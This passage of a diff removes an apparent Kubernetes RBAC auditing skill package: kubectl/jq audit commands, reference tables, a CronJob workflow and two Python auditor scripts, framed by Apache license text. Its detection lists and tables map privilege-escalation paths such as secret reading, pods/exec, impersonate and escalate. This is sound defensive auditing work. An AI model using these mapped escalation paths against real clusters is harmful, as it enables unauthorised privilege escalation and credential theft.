"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to the Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by the Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding any notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. Please do not remove or change
the license header comment from a contributed file except when
necessary.
Copyright 2026 mukul975
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
@@ -1,205 +0,0 @@
---
name: auditing-kubernetes-rbac-permissions
description: Kubernetes Role-Based Access Control (RBAC) auditing systematically reviews roles, cluster roles, bindings, and service account permissions to identify overly permissive access, privilege escalation p
domain: cybersecurity
subdomain: container-security
tags: [containers, kubernetes, security, RBAC, access-control]
version: "1.0"
author: mahipal
license: Apache-2.0
---
# Auditing Kubernetes RBAC Permissions
## Overview
Kubernetes Role-Based Access Control (RBAC) auditing systematically reviews roles, cluster roles, bindings, and service account permissions to identify overly permissive access, privilege escalation paths, and violations of least-privilege principles. Tools like rbac-tool, KubiScan, and rakkess automate discovery of dangerous permission combinations.
## Prerequisites
- Kubernetes cluster with RBAC enabled (default since 1.6)
- kubectl with cluster-admin access for full audit
- rbac-tool, rakkess, or KubiScan installed
## Core Concepts
### RBAC Components
| Resource | Scope | Purpose |
|----------|-------|---------|
| Role | Namespace | Grants permissions within a namespace |
| ClusterRole | Cluster | Grants permissions cluster-wide |
| RoleBinding | Namespace | Binds Role/ClusterRole to subjects in namespace |
| ClusterRoleBinding | Cluster | Binds ClusterRole to subjects cluster-wide |
### Dangerous Permission Combinations
| Permission | Risk | Impact |
|-----------|------|--------|
| `*` on `*` resources | Critical | Equivalent to cluster-admin |
| create pods | High | Can deploy privileged pods |
| create pods/exec | High | Can exec into any pod |
| get secrets | High | Can read all secrets |
| create clusterrolebindings | Critical | Can escalate to cluster-admin |
| impersonate users | Critical | Can act as any user |
| escalate on roles | Critical | Can grant permissions beyond own |
| bind on roles | High | Can create new role bindings |
## Implementation Steps
### Step 1: Enumerate All RBAC Resources
```bash
# List all ClusterRoles
kubectl get clusterroles -o name | wc -l
kubectl get clusterroles --no-headers | grep -v "system:"
# List all ClusterRoleBindings
kubectl get clusterrolebindings -o wide
# List all Roles per namespace
kubectl get roles -A
# List all RoleBindings per namespace
kubectl get rolebindings -A -o wide
# Export all RBAC for offline analysis
kubectl get clusterroles,clusterrolebindings,roles,rolebindings -A -o yaml > rbac-export.yaml
```
### Step 2: Identify Wildcard Permissions
```bash
# Find ClusterRoles with wildcard verbs on all resources
kubectl get clusterroles -o json | jq -r '
.items[] |
select(.rules[]? |
(.verbs | index("*")) and
(.resources | index("*"))
) |
.metadata.name'
# Find roles that can create pods
kubectl get clusterroles -o json | jq -r '
.items[] |
select(.rules[]? |
(.verbs | index("create") or index("*")) and
(.resources | index("pods") or index("*"))
) |
.metadata.name'
# Find roles that can read secrets
kubectl get clusterroles -o json | jq -r '
.items[] |
select(.rules[]? |
(.verbs | index("get") or index("list") or index("*")) and
(.resources | index("secrets") or index("*"))
) |
.metadata.name'
```
### Step 3: Check Service Account Permissions
```bash
# List all service accounts
kubectl get serviceaccounts -A
# Check permissions for default service accounts
for ns in $(kubectl get ns -o jsonpath='{.items[*].metadata.name}'); do
echo "=== $ns/default ==="
kubectl auth can-i --list --as=system:serviceaccount:$ns:default 2>/dev/null | grep -v "no"
done
# Check for service accounts with cluster-admin
kubectl get clusterrolebindings -o json | jq -r '
.items[] |
select(.roleRef.name == "cluster-admin") |
{binding: .metadata.name, subjects: [.subjects[]? | {kind, name, namespace}]}'
```
### Step 4: Use rbac-tool for Automated Analysis
```bash
# Install rbac-tool
kubectl krew install rbac-tool
# Visualize RBAC
kubectl rbac-tool viz --outformat dot | dot -Tpng > rbac-graph.png
# Find who can perform specific actions
kubectl rbac-tool who-can get secrets -A
kubectl rbac-tool who-can create pods -A
kubectl rbac-tool who-can '*' '*'
# Analyze all permissions
kubectl rbac-tool analysis
# Generate RBAC policy report
kubectl rbac-tool auditgen > rbac-audit.yaml
```
### Step 5: Check for Privilege Escalation Paths
```bash
# Check if any role can escalate privileges
kubectl get clusterroles -o json | jq -r '
.items[] |
select(.rules[]? |
(.verbs | index("escalate") or index("bind") or index("impersonate")) and
(.resources | index("clusterroles") or index("roles") or index("clusterrolebindings") or index("rolebindings") or index("users") or index("groups") or index("serviceaccounts"))
) |
.metadata.name'
# Check for impersonation permissions
kubectl get clusterroles -o json | jq -r '
.items[] |
select(.rules[]? |
(.verbs | index("impersonate"))
) |
{name: .metadata.name, rules: .rules}'
```
### Step 6: Audit with KubiScan
```bash
# Install KubiScan
pip install kubiscan
# Find risky roles
kubiscan --risky-roles
# Find risky ClusterRoles
kubiscan --risky-clusterroles
# Find risky subjects
kubiscan --risky-subjects
# Find pods with risky service accounts
kubiscan --risky-pods
# Full report
kubiscan --all
```
## Validation Commands
```bash
# Verify specific permission
kubectl auth can-i create pods --as=system:serviceaccount:default:myapp
# Check all permissions for a user
kubectl auth can-i --list --as=developer@example.com
# Validate RBAC with kubescape
kubescape scan framework nsa --controls-config rbac-controls.json
# Test least privilege
kubectl auth can-i delete nodes --as=system:serviceaccount:app:web-server
# Expected: no
```
## References
- [Kubernetes RBAC Documentation](https://kubernetes.io/docs/reference/access-authn-authz/rbac/)
- [rbac-tool GitHub](https://github.com/alcideio/rbac-tool)
- [KubiScan - Risky Permissions Scanner](https://github.com/cyberark/KubiScan)
- [CIS Kubernetes Benchmark - Section 5.1](https://www.cisecurity.org/benchmark/kubernetes)
@@ -1,25 +0,0 @@
# RBAC Audit Report Template
## Cluster Information
| Field | Value |
|-------|-------|
| Cluster Name | |
| Audit Date | |
| Total ClusterRoles | |
| Total Roles | |
| Total Bindings | |
## High-Risk Bindings
| Binding | Role | Subject | Severity | Action |
|---------|------|---------|----------|--------|
| | | | | |
## Service Account Review
| Namespace | SA Name | Bound Roles | Risk | Recommendation |
|-----------|---------|-------------|------|---------------|
| | | | | |
## Remediation Plan
| Priority | Finding | Action | Owner | Status |
|----------|---------|--------|-------|--------|
| | | | | |
@@ -1,55 +0,0 @@
# API Reference: Kubernetes RBAC Audit
## Python Kubernetes Client
```python
from kubernetes import client, config
config.load_kube_config()
rbac = client.RbacAuthorizationV1Api()
core = client.CoreV1Api()
```
## RBAC API Calls
| Method | Description |
|--------|-------------|
| `rbac.list_cluster_role()` | List all ClusterRoles |
| `rbac.list_cluster_role_binding()` | List all ClusterRoleBindings |
| `rbac.list_namespaced_role(ns)` | List Roles in namespace |
| `rbac.list_namespaced_role_binding(ns)` | List RoleBindings in namespace |
## ClusterRole Rule Structure
```python
role.rules[0].verbs # ["get", "list", "watch"]
role.rules[0].resources # ["pods", "secrets"]
role.rules[0].api_groups # ["", "apps"]
```
## Dangerous RBAC Permissions
| Permission | Risk |
|------------|------|
| `* / *` (all verbs, resources) | Full cluster admin |
| `create` on `pods/exec` | Remote code execution |
| `get` on `secrets` | Credential theft |
| `bind` on `clusterroles` | Privilege escalation |
| `impersonate` on users | Identity spoofing |
| `escalate` on roles | Self-privilege escalation |
## Subject Types
| Kind | Description |
|------|-------------|
| User | Human user identity |
| Group | User group (e.g., system:authenticated) |
| ServiceAccount | Pod identity |
## Risky Groups
| Group | Risk |
|-------|------|
| `system:unauthenticated` | Anonymous access |
| `system:authenticated` | Any authenticated user |
| `system:masters` | Full cluster admin |
## kubectl RBAC Commands
```bash
kubectl auth can-i --list
kubectl get clusterrolebindings -o json
kubectl auth can-i create pods --as=system:serviceaccount:default:default
```
@@ -1,34 +0,0 @@
# Standards Reference - RBAC Auditing
## CIS Kubernetes Benchmark v1.8 - Section 5.1
- 5.1.1: Ensure cluster-admin role is only used where required
- 5.1.2: Minimize access to secrets
- 5.1.3: Minimize wildcard use in Roles and ClusterRoles
- 5.1.4: Minimize access to create pods
- 5.1.5: Ensure default service accounts are not actively used
- 5.1.6: Ensure Service Account Tokens are not mounted when not needed
- 5.1.7: Avoid use of system:masters group
- 5.1.8: Limit use of the Bind, Impersonate and Escalate permissions
## NIST SP 800-53 AC Controls
- AC-2: Account Management
- AC-3: Access Enforcement
- AC-6: Least Privilege
- AC-6(1): Authorize Access to Security Functions
- AC-6(5): Privileged Accounts
## Dangerous RBAC Combinations
| Verbs | Resources | Risk Level |
|-------|-----------|-----------|
| * | * | CRITICAL - cluster-admin equivalent |
| create | pods | HIGH - can deploy privileged pods |
| create | pods/exec | HIGH - can exec into any pod |
| get, list | secrets | HIGH - can read all secrets |
| create | clusterrolebindings | CRITICAL - privilege escalation |
| impersonate | users, groups, serviceaccounts | CRITICAL - identity theft |
| escalate | roles, clusterroles | CRITICAL - RBAC escalation |
| bind | roles, clusterroles | HIGH - can create bindings |
| create | deployments | MEDIUM - can deploy workloads |
| delete | pods, nodes | HIGH - denial of service |
@@ -1,60 +0,0 @@
# Workflows - RBAC Auditing
## Workflow 1: Comprehensive RBAC Audit
```
[Export all RBAC] --> [Identify cluster-admin bindings] --> [Check wildcard permissions]
| | |
v v v
kubectl get all Flag non-system Flag * verbs, * resources
RBAC resources cluster-admin users Find excessive permissions
| | |
+----------+------------+------------------------------------+
|
v
[Check service account permissions]
|
v
[Identify privilege escalation paths]
|
v
[Generate remediation report]
```
## Workflow 2: Least Privilege Implementation
```
Step 1: Inventory current permissions per team/service
Step 2: Document actual required operations
Step 3: Create minimal Role/ClusterRole
Step 4: Test with auth can-i dry-run
Step 5: Apply new bindings
Step 6: Remove overly permissive bindings
Step 7: Validate with automated audit
```
## Workflow 3: Continuous RBAC Monitoring
```yaml
# CronJob for weekly RBAC audit
apiVersion: batch/v1
kind: CronJob
metadata:
name: rbac-audit
spec:
schedule: "0 2 * * 1" # Weekly Monday 2am
jobTemplate:
spec:
template:
spec:
containers:
- name: audit
image: bitnami/kubectl:latest
command:
- /bin/sh
- -c
- |
kubectl get clusterrolebindings -o json | jq '.items[] | select(.roleRef.name=="cluster-admin") | .metadata.name' > /audit/cluster-admin-bindings.txt
kubectl get clusterroles -o json | jq '.items[] | select(.rules[]? | (.verbs | index("*")) and (.resources | index("*"))) | .metadata.name' > /audit/wildcard-roles.txt
restartPolicy: Never
```
@@ -1,110 +0,0 @@
#!/usr/bin/env python3
"""Kubernetes RBAC Audit Agent - Audits cluster RBAC permissions for security misconfigurations."""
import json
import logging
import argparse
from datetime import datetime
from kubernetes import client, config
logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s")
logger = logging.getLogger(__name__)
DANGEROUS_VERBS = {"*", "create", "delete", "patch", "update", "escalate", "bind", "impersonate"}
DANGEROUS_RESOURCES = {"secrets", "pods/exec", "pods/attach", "serviceaccounts", "clusterroles", "clusterrolebindings", "roles", "rolebindings", "*"}
def load_kube_config(kubeconfig=None):
"""Load Kubernetes configuration."""
if kubeconfig:
config.load_kube_config(config_file=kubeconfig)
else:
try:
config.load_incluster_config()
except config.ConfigException:
config.load_kube_config()
return client.RbacAuthorizationV1Api(), client.CoreV1Api()
def audit_cluster_roles(rbac_api):
"""Audit ClusterRoles for overly permissive rules."""
findings = []
roles = rbac_api.list_cluster_role()
for role in roles.items:
if role.metadata.name.startswith("system:"):
continue
for rule in (role.rules or []):
verbs = set(rule.verbs or [])
resources = set(rule.resources or [])
api_groups = rule.api_groups or [""]
if "*" in verbs and "*" in resources:
findings.append({"role": role.metadata.name, "type": "ClusterRole", "issue": "Full wildcard access (*/*)", "severity": "critical", "rule": {"verbs": list(verbs), "resources": list(resources)}})
elif verbs & DANGEROUS_VERBS and resources & DANGEROUS_RESOURCES:
findings.append({"role": role.metadata.name, "type": "ClusterRole", "issue": f"Dangerous permission: {verbs & DANGEROUS_VERBS} on {resources & DANGEROUS_RESOURCES}", "severity": "high", "rule": {"verbs": list(verbs), "resources": list(resources)}})
logger.info("Audited %d ClusterRoles, %d findings", len(roles.items), len(findings))
return findings
def audit_role_bindings(rbac_api):
"""Audit ClusterRoleBindings for excessive privilege grants."""
findings = []
bindings = rbac_api.list_cluster_role_binding()
for binding in bindings.items:
if binding.metadata.name.startswith("system:"):
continue
role_ref = binding.role_ref
subjects = binding.subjects or []
for subject in subjects:
if role_ref.name in ("cluster-admin", "admin") and subject.kind != "ServiceAccount":
findings.append({"binding": binding.metadata.name, "role": role_ref.name, "subject": f"{subject.kind}/{subject.name}", "severity": "critical" if role_ref.name == "cluster-admin" else "high", "issue": f"{subject.kind} bound to {role_ref.name}"})
if subject.kind == "Group" and subject.name in ("system:unauthenticated", "system:authenticated"):
findings.append({"binding": binding.metadata.name, "role": role_ref.name, "subject": subject.name, "severity": "critical", "issue": f"Broad group {subject.name} bound to {role_ref.name}"})
return findings
def audit_service_accounts(core_api, rbac_api):
"""Audit service accounts for default token mounting and elevated permissions."""
findings = []
sas = core_api.list_service_account_for_all_namespaces()
for sa in sas.items:
if sa.metadata.name == "default":
if sa.automount_service_account_token is not False:
findings.append({"namespace": sa.metadata.namespace, "service_account": "default", "issue": "Default SA auto-mounts token", "severity": "medium"})
return findings
def generate_report(role_findings, binding_findings, sa_findings):
"""Generate RBAC audit report."""
all_findings = role_findings + binding_findings + sa_findings
critical = [f for f in all_findings if f.get("severity") == "critical"]
report = {
"timestamp": datetime.utcnow().isoformat(),
"total_findings": len(all_findings),
"critical": len(critical),
"role_findings": role_findings,
"binding_findings": binding_findings,
"service_account_findings": sa_findings,
}
print(f"RBAC REPORT: {len(all_findings)} findings ({len(critical)} critical)")
return report
def main():
parser = argparse.ArgumentParser(description="Kubernetes RBAC Audit Agent")
parser.add_argument("--kubeconfig", help="Path to kubeconfig file")
parser.add_argument("--output", default="rbac_report.json")
args = parser.parse_args()
rbac_api, core_api = load_kube_config(args.kubeconfig)
role_findings = audit_cluster_roles(rbac_api)
binding_findings = audit_role_bindings(rbac_api)
sa_findings = audit_service_accounts(core_api, rbac_api)
report = generate_report(role_findings, binding_findings, sa_findings)
with open(args.output, "w") as f:
json.dump(report, f, indent=2)
logger.info("Report saved to %s", args.output)
if __name__ == "__main__":
main()
@@ -1,257 +0,0 @@
#!/usr/bin/env python3
"""
Kubernetes RBAC Permissions Auditor
Audits RBAC configurations for overly permissive roles,
dangerous permission combinations, and privilege escalation paths.
"""
import subprocess
import json
import sys
from dataclasses import dataclass, field
DANGEROUS_VERBS = {"*", "escalate", "bind", "impersonate"}
DANGEROUS_RESOURCES = {"*", "secrets", "pods", "clusterroles", "clusterrolebindings", "roles", "rolebindings"}
HIGH_RISK_COMBINATIONS = [
({"*"}, {"*"}, "CRITICAL", "Wildcard access on all resources (cluster-admin equivalent)"),
({"create", "update", "patch"}, {"clusterrolebindings", "rolebindings"}, "CRITICAL", "Can create role bindings for privilege escalation"),
({"escalate"}, {"clusterroles", "roles"}, "CRITICAL", "Can escalate role permissions beyond own level"),
({"impersonate"}, {"users", "groups", "serviceaccounts"}, "CRITICAL", "Can impersonate any identity"),
({"get", "list", "watch"}, {"secrets"}, "HIGH", "Can read all secrets in scope"),
({"create"}, {"pods"}, "HIGH", "Can create pods (deploy workloads)"),
({"create"}, {"pods/exec"}, "HIGH", "Can exec into pods (command execution)"),
({"delete"}, {"pods", "nodes", "namespaces"}, "HIGH", "Can delete critical resources"),
]
@dataclass
class RBACFinding:
resource_type: str
resource_name: str
namespace: str
severity: str
issue: str
details: str
remediation: str
@dataclass
class RBACAuditReport:
findings: list = field(default_factory=list)
cluster_roles: int = 0
roles: int = 0
cluster_role_bindings: int = 0
role_bindings: int = 0
service_accounts: int = 0
def run_kubectl_json(args: list):
cmd = ["kubectl"] + args + ["-o", "json"]
try:
result = subprocess.run(cmd, capture_output=True, text=True, timeout=30)
if result.returncode != 0:
return None
return json.loads(result.stdout)
except (subprocess.TimeoutExpired, json.JSONDecodeError, FileNotFoundError):
return None
def check_role_rules(rules: list, role_name: str, role_type: str, namespace: str, report: RBACAuditReport):
"""Analyze role rules for dangerous permissions."""
for rule in rules:
verbs = set(rule.get("verbs", []))
resources = set(rule.get("resources", []))
api_groups = rule.get("apiGroups", [])
for req_verbs, req_resources, severity, description in HIGH_RISK_COMBINATIONS:
verb_match = "*" in verbs or bool(verbs & req_verbs)
resource_match = "*" in resources or bool(resources & req_resources)
if verb_match and resource_match:
report.findings.append(RBACFinding(
resource_type=role_type,
resource_name=role_name,
namespace=namespace,
severity=severity,
issue=description,
details=f"verbs={list(verbs)}, resources={list(resources)}, apiGroups={api_groups}",
remediation=f"Restrict {role_type} '{role_name}' to minimum required permissions"
))
break
def audit_cluster_roles(report: RBACAuditReport):
"""Audit all ClusterRoles."""
print("[*] Auditing ClusterRoles...")
data = run_kubectl_json(["get", "clusterroles"])
if not data:
return
items = data.get("items", [])
report.cluster_roles = len(items)
for cr in items:
name = cr["metadata"]["name"]
# Skip well-known system roles
if name.startswith("system:") and name not in ("system:aggregate-to-admin", "system:aggregate-to-edit"):
continue
rules = cr.get("rules", [])
check_role_rules(rules, name, "ClusterRole", "cluster-wide", report)
def audit_roles(report: RBACAuditReport):
"""Audit all namespace Roles."""
print("[*] Auditing Roles...")
data = run_kubectl_json(["get", "roles", "-A"])
if not data:
return
items = data.get("items", [])
report.roles = len(items)
for role in items:
name = role["metadata"]["name"]
namespace = role["metadata"]["namespace"]
rules = role.get("rules", [])
check_role_rules(rules, name, "Role", namespace, report)
def audit_bindings(report: RBACAuditReport):
"""Audit ClusterRoleBindings for dangerous subject assignments."""
print("[*] Auditing ClusterRoleBindings...")
data = run_kubectl_json(["get", "clusterrolebindings"])
if not data:
return
items = data.get("items", [])
report.cluster_role_bindings = len(items)
dangerous_subjects = {"system:anonymous", "system:unauthenticated"}
admin_roles = {"cluster-admin", "admin", "edit"}
for crb in items:
name = crb["metadata"]["name"]
role_ref = crb.get("roleRef", {}).get("name", "")
subjects = crb.get("subjects", []) or []
for subject in subjects:
s_name = subject.get("name", "")
s_kind = subject.get("kind", "")
if s_name in dangerous_subjects and role_ref in admin_roles:
report.findings.append(RBACFinding(
resource_type="ClusterRoleBinding",
resource_name=name,
namespace="cluster-wide",
severity="CRITICAL",
issue=f"Dangerous subject '{s_name}' bound to '{role_ref}'",
details=f"Subject {s_kind}/{s_name} has {role_ref} access",
remediation=f"Remove or restrict ClusterRoleBinding '{name}'"
))
# Check for system:authenticated bound to admin roles
if s_name == "system:authenticated" and role_ref in admin_roles:
report.findings.append(RBACFinding(
resource_type="ClusterRoleBinding",
resource_name=name,
namespace="cluster-wide",
severity="CRITICAL",
issue=f"All authenticated users have '{role_ref}' access",
details=f"Group system:authenticated bound to {role_ref}",
remediation=f"Remove binding, use specific user/group bindings"
))
def audit_service_accounts(report: RBACAuditReport):
"""Audit service accounts for over-permissioning."""
print("[*] Auditing Service Accounts...")
data = run_kubectl_json(["get", "serviceaccounts", "-A"])
if not data:
return
items = data.get("items", [])
report.service_accounts = len(items)
# Check default SAs that have non-default bindings
crbs = run_kubectl_json(["get", "clusterrolebindings"])
rbs = run_kubectl_json(["get", "rolebindings", "-A"])
if crbs:
for crb in crbs.get("items", []):
for subject in crb.get("subjects", []) or []:
if subject.get("kind") == "ServiceAccount" and subject.get("name") == "default":
report.findings.append(RBACFinding(
resource_type="ServiceAccount",
resource_name=f"default ({subject.get('namespace', 'unknown')})",
namespace=subject.get("namespace", "unknown"),
severity="HIGH",
issue=f"Default SA bound to ClusterRole '{crb['roleRef']['name']}'",
details="Default service account should not have additional permissions",
remediation="Create dedicated service account, remove default SA binding"
))
def print_report(report: RBACAuditReport):
print("\n" + "=" * 70)
print("KUBERNETES RBAC AUDIT REPORT")
print("=" * 70)
print(f"ClusterRoles: {report.cluster_roles}")
print(f"Roles: {report.roles}")
print(f"ClusterRoleBindings: {report.cluster_role_bindings}")
print(f"RoleBindings: {report.role_bindings}")
print(f"ServiceAccounts: {report.service_accounts}")
print(f"Total Findings: {len(report.findings)}")
print("=" * 70)
for severity in ["CRITICAL", "HIGH", "MEDIUM", "LOW"]:
findings = [f for f in report.findings if f.severity == severity]
if findings:
print(f"\n{severity} ({len(findings)}):")
print("-" * 70)
for f in findings:
print(f" [{f.resource_type}] {f.resource_name}")
print(f" Issue: {f.issue}")
print(f" Details: {f.details}")
print(f" Fix: {f.remediation}")
print()
def main():
print("[*] Kubernetes RBAC Permissions Auditor\n")
report = RBACAuditReport()
audit_cluster_roles(report)
audit_roles(report)
audit_bindings(report)
audit_service_accounts(report)
print_report(report)
output = {
"summary": {
"cluster_roles": report.cluster_roles,
"roles": report.roles,
"findings": len(report.findings),
},
"findings": [
{"type": f.resource_type, "name": f.resource_name, "namespace": f.namespace,
"severity": f.severity, "issue": f.issue, "remediation": f.remediation}
for f in report.findings
],
}
with open("rbac_audit_report.json", "w") as f:
json.dump(output, f, indent=2)
print("[*] Report saved to rbac_audit_report.json")
critical = sum(1 for f in report.findings if f.severity == "CRITICAL")
if critical > 0:
print(f"\n[!] {critical} CRITICAL findings found")
sys.exit(1)
if __name__ == "__main__":
main()
@@ -1,201 +0,0 @@
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to the Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by the Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
